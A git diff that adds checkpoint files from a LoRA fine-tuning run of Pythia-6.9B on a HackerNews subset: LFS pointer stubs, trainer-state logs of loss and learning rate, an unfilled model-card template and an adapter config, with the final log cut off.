+1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2cab01f3c0a9d66cf16eec91d8aebbfd533628e45bdb849b4c3e4ad317f15270 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..390146116c48e62f4426eeb3a1cf7a2ccb90f69b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:72422499e547842d9c164e7afacfea53fe3941a7a106527c3755c473fa91c799 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..e86d2f367a815690b22e07433b79b07e362eeadb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/trainer_state.json @@ -0,0 +1,648 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.466666666666667, + "eval_steps": 10, + "global_step": 410, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.71828951433216e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..69edb8693969ce30bb5bf10bb31d9afec821f73f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e98f79a759da5fb0895c4628deb35a1081e242902fab2c34897520cbfdefb5a2 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..d2ced7a27a569d6a0a6fed7578eaed29c3cba066 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:369ac7e912b49ca7671e770cfa0f5a07986e028c632f13c97be25baf9c42584e +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..7c168ba589ab149907f65c12980a55da76890995 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:02f02c3c7264962c7bbb05c73c2c2f9530a34cf2c29d550cdc787ae19eb6d9bb +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..6b66301b7ac8ccf1308c1ac8d63d7000259489d4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5336fb81030d9ecbffa34471d17a4c3981e781c865d7ff7a9b59e360e4230577 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..265d9daea17ce0b721771b295bba675bebe5eb36 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-420/trainer_state.json @@ -0,0 +1,663 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.6, + "eval_steps": 10, + "global_step": 420, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 